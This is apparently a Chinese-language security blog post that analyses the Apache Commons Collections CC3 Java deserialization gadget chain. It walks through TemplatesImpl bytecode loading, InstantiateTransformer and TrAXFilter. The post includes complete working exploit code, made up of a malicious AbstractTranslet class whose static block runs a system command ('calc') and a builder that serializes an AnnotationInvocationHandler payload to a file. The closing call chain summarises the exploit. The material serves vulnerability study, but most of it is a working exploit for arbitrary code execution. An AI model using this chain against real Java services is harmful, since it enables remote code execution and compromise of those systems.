LOADING

加载过慢请开启缓存 浏览器默认开启

CC3分析

2024/8/19 Java

Commons Collections是Apache软件基金会的一个开源项目,它提供了一组可复用的数据结构和算法的实现,旨在扩展和增强Java集合框架,以便更好地满足不同类型应用的需求。该项目包含了多种不同类型的集合类、迭代器、队列、堆栈、映射、列表、集等数据结构实现,以及许多实用程序类和算法实现。它的代码质量较高,被广泛应用于Java应用程序开发中。

CC3采用了类的动态加载机制实现执行任意代码,类的动态加载大致原理为使用ClassLoader#loadClass从已加载的类缓存、父加载器等位置寻找类,如果没找到会调用findClass(),findClass()会根据名字或者位置加载字节码然后调用defineClass(),defineClass()会将传递的字节码转换为Java类。

直接定位到ClassLoader#defineClass,作用域为protected,我们需要一个public的

image-1708444021529

找了一下哪里调用了这个方法

image-1708444028869

再往上找找,这个没标注作用域,默认是同一个包里才可以调用

image-1708444036532

找到了defineTransletClasses方法调用了,但是这个方法是私有的

image-1708444044353

继续往上找,getTransletInstance方法调用了defineTransletClasses,但是他还是私有的。这个方法还调用了newInstance方法,可以实例化对象,走到这边就可以运行自定义类的静态方法

image-1708444051466

找到newTransformer方法,并且是一个公开的方法

image-1708444058037

尝试调用newTransformer进行动态类加载,发现一些限制条件,_name需要不为null,

image-1708444071984

bytecodes值需要不为null,tfactory需要赋值

image-1708444098270

通过反射分别给这三个参数赋值并尝试调用

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class CC3_Test {
    public static void main(String[] args) throws Exception{
        TemplatesImpl templates = new TemplatesImpl();
        Class c = templates.getClass();
        Field nameField = c.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"a");

        Field bytecodesField = c.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        byte[] bytecode = Files.readAllBytes(Paths.get("D://tmp//class//Test.class"));
        byte[][] bytecodes = {bytecode};
        bytecodesField.set(templates,bytecodes);

        Field tfactoryField = c.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates,new TransformerFactoryImpl());

        templates.newTransformer();

    }
}

在bytecode目录放一个恶意的class,因为利用过程中会验证传进去的class是否继承了ABSTRACT_TRANSLET引用的类,所以恶意的class要继承AbstractTranslet

image-1708444108982

package org.example;

import java.io.IOException;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class Test extends AbstractTranslet{
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

运行发现成功执行了恶意class

image-1708444119616

发现ysoserial的CC3还用到了一个InstantiateTransformer类,这个类的transform方法满足条件后,会获取一个类的构造函数,然后使用这个构造函数创建一个新的对象实例

image-1708444125737

然后我们找到TrAXFilter的构造函数调用了newTransformer方法

image-1708444139691

如果传递一个TemplatesImpl,他就回去调用TemplatesImpl的newTransformer函数

image-1708444148187

现在使用InstantiateTransformer类的transform方法,传递参数TrAXFilter类,它会去获取TrAXFilter的构造方法并执行

image-1708444153661

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class CC3_Test {
    public static void main(String[] args) throws Exception{
        TemplatesImpl templates = new TemplatesImpl();
        Class c = templates.getClass();
        Field nameField = c.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"a");

        Field bytecodesField = c.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        byte[] bytecode = Files.readAllBytes(Paths.get("D://tmp//class//Test.class"));
        byte[][] bytecodes = {bytecode};
        bytecodesField.set(templates,bytecodes);

        Field tfactoryField = c.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates,new TransformerFactoryImpl());

//        templates.newTransformer();
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
        instantiateTransformer.transform(TrAXFilter.class);

    }
}

后面把CC1的代码拿过来,InvokerTransformer换成instantiateTransformer,new
ConstantTransformer(Runtime.class)参数换成TrAXFilter.class

image-1708444165337

完整代码

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3_Test {
    public static void main(String[] args) throws Exception{
        TemplatesImpl templates = new TemplatesImpl();
        Class c = templates.getClass();
        Field nameField = c.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"a");

        Field bytecodesField = c.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        byte[] bytecode = Files.readAllBytes(Paths.get("D://tmp//class//Test.class"));
        byte[][] bytecodes = {bytecode};
        bytecodesField.set(templates,bytecodes);

        Field tfactoryField = c.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates,new TransformerFactoryImpl());

//        templates.newTransformer();
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
//        instantiateTransformer.transform(TrAXFilter.class);

        Transformer[] transform1 = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transform1);

        HashMap<Object,Object> map = new HashMap();
        map.put("value","value");
        Map<Object,Object> transformap = TransformedMap.decorate(map, null, chainedTransformer);

        Class annotationClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor declaredConstructor = annotationClass.getDeclaredConstructor(Class.class, Map.class);
        declaredConstructor.setAccessible(true);
        Object o = declaredConstructor.newInstance(Target.class, transformap);
        serialize(o);
//        unserialize("ser.bin");
    }

    public static void serialize(Object obj) throws Exception{
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        objectOutputStream.writeObject(obj);
        System.out.println("serialize");
    }

    public static Object unserialize(String str) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(str));
        Object obj = objectInputStream.readObject();
        System.out.println("unserialize");
        return obj;
    }


}

利用链

AnnotationInvocationHandler#readObject –> AbstractInputCheckedMapDecorator.MapEntry#setValue –> TransformedMap#checkSetValue –> ChainedTransformer#transform –> InstantiateTransformer.transform –> TrAXFilter.TrAXFilter –>Transformer.newTransformer() –> defineClass->newInstance